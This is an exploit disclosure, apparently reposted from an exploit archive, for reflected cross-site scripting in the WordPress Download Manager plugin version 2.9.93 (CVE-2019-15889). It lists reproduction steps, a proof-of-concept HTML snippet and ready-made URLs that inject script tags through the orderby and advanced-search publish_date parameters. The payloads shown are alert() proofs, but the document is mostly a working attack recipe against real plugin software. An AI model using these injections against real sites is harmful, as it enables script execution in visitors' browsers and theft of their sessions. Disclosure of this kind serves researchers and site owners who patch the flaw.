WordPress Download Manager 2.9.93 Plugin - Cross-Site Scripting Vulnerability

* Exploit Title: WordPress Download Manager Cross-site Scripting
* Exploit Author: ThuraMoeMyint
* Author Link: https://twitter.com/mgthuramoemyint
* Vendor Homepage: https://www.wpdownloadmanager.com
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.93
* Category: WebApps, WordPress
CVE:CVE-2019-15889
Description
--

In the pro features of the WordPress download manager plugin, there is
a Category Short-code feature witch can use to sort categories with
order by a function which will be used as ?orderby=title,publish_date
.
By adding parameter "> and add any XSS payload , the xss payload will execute.

To reproduce,

1.Go to the link where we can find ?orderby
2.Add parameters >” and give simple payload like <script>alert(1)</script>
3.The payload will execute.
--

PoC
--

 <div class="btn-group btn-group-sm pull-right"><button type="button"
class="btn btn-primary" disabled="disabled">Order &nbps;</button><a
class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=asc">Asc</a><a
class="btn btn-primary"
href="https://server/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=desc">Desc</a></div>

--
Demo
--
https://server/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc
--


Another reflected cross-site scripting via advance search

https://server/wpdmpro/advanced-search/

https://server/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a

#  0day.today [2019-12-04]  #